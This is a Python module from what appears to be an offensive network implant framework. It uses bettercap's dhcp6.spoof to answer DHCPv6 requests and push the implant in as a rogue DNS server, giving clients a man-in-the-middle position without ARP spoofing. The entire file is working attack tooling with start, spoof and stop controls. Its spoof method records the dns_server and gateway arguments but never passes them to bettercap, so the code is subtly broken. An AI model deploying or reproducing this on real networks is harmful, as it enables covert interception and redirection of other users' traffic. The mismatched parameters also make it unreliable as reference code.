#!/usr/bin/env python3 """DHCP Spoofing module — configure DHCPv6 spoofing via bettercap. Uses bettercap's dhcp6.spoof module to win DHCP races and inject a rogue DNS server (the implant) into client configurations. This enables DNS-based MITM without ARP spoofing. """ import logging import os import time from typing import Optional from modules.base import BaseModule logger = logging.getLogger("bb.active.dhcp_spoof") class DHCPSpoof(BaseModule): """DHCP spoofing via bettercap dhcp6.spoof. Sets up a rogue DHCPv6 server that responds to DHCP requests, injecting the implant as the DNS server. Combined with DNS poisoning, this provides full MITM without ARP cache manipulation. Dependencies: - bettercap_mgr must be running. Configuration: dns_server: DNS server IP to inject (default: implant IP) gateway: Gateway IP to advertise """ name = "dhcp_spoof" module_type = "active" priority = 200 requires_root = True dependencies = ["bettercap_mgr"] def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._bettercap_mgr = None self._spoofing = False self._dns_server: Optional[str] = None self._gateway: Optional[str] = None # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._bettercap_mgr = self.config.get("bettercap_mgr") if not self._bettercap_mgr: logger.error("DHCPSpoof requires bettercap_mgr reference in config") return self._running = True self._pid = os.getpid() self._start_time = time.time() self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("DHCPSpoof module started (ready for spoof commands)") def stop(self) -> None: if not self._running: return if self._spoofing: self.stop_spoof() self._running = False self.state.set_module_status(self.name, "stopped") logger.info("DHCPSpoof module stopped") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "spoofing": self._spoofing, "dns_server": self._dns_server, "gateway": self._gateway, } def configure(self, config: dict) -> None: self.config.update(config) # ------------------------------------------------------------------ # Public API # ------------------------------------------------------------------ def spoof(self, dns_server: str, gateway: str) -> bool: """Enable DHCP spoofing with rogue DNS server. Args: dns_server: IP to inject as DNS server (typically the implant IP). gateway: Gateway IP to advertise in DHCP responses. Returns: True if DHCP spoofing was enabled. """ if not self._running or not self._bettercap_mgr: logger.error("DHCPSpoof not started") return False try: # Configure dhcp6.spoof parameters self._bettercap_mgr.run_command(f"set dhcp6.spoof.domains *") self._bettercap_mgr.run_command("dhcp6.spoof on") self._spoofing = True self._dns_server = dns_server self._gateway = gateway self.state.set(self.name, "dns_server", dns_server) self.state.set(self.name, "gateway", gateway) logger.info( "DHCP spoofing enabled: dns=%s, gateway=%s", dns_server, gateway ) return True except Exception: logger.exception("Failed to enable DHCP spoofing") return False def stop_spoof(self) -> bool: """Disable DHCP spoofing. Returns: True if DHCP spoofing was stopped. """ if not self._bettercap_mgr: return False try: self._bettercap_mgr.run_command("dhcp6.spoof off") self._spoofing = False self._dns_server = None self._gateway = None self.state.set(self.name, "dns_server", "") self.state.set(self.name, "gateway", "") logger.info("DHCP spoofing disabled") return True except Exception: logger.exception("Failed to disable DHCP spoofing") return False